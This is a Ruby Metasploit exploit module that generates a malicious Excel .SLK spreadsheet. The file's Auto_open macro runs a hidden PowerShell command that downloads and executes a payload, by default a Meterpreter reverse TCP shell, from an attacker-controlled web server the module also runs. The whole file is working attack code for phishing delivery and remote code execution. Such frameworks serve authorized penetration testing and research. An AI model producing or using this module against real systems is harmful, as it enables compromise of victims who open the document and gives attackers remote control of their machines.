##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => "Microsoft Excel .SLK Payload Delivery",
      'Description' => %Q{
        This module generates a download and execute Powershell
        command to be placed in an .SLK Excel spreadsheet.
        When executed, it will retrieve a payload via HTTP
        from a web server. When the file is opened, the
        user will be prompted to "Enable Content." Once
        this is pressed, the payload will execute.
      },
      'Author' => [
        'Carter Brainerd', # cbrnrd; Metasploit module
        'Stan Hegt', # @StanHacked; Discovery
        'Pieter Ceelen' # @ptrpieter; Discovery
      ],
      'License' => MSF_LICENSE,
      'References' => [
          ['URL', 'https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files'],
          ['URL', 'https://www.twitter.com/StanHacked/status/1049047727403937795'],
          ['URL', 'http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen']
      ],
      'Platform' => 'win', # idk about other platforms
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Targets' =>
        [
          ['Microsoft Excel', {} ]
        ],
      'DisclosureDate' => '2018-10-07',
      'DefaultTarget' => 0,
      'Payload' =>
        {
          'DisableNops' => true
        },
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => false,
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
          'EXITFUNC' => 'thread'
        }
    ))

    register_options([
      OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])
    ])
  end

  def on_request_uri(cli, request)
    if request.raw_uri.to_s.end_with? '.slk'
      print_status("Handling request for .slk from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = create_slk(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end

  # I might be able to do without this (using cmd_psh_payload() and encode_final_payload() in Msf::Exploit::Powershell)
  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def create_slk(cmd)
    content = "ID;P\n"
    content << "O;E\n"
    content << "NN;NAuto_open;ER101C1;KOut Flank;F\n"
    content << "C;X1;Y101;EEXEC(\"#{cmd}\")\n" # Execute command
    content << "C;X1;Y102;EHALT()\n"
    content << "E"
    content
  end

  def primer
    file_create(create_slk(gen_psh("#{get_uri}", 'string')))
  end
end
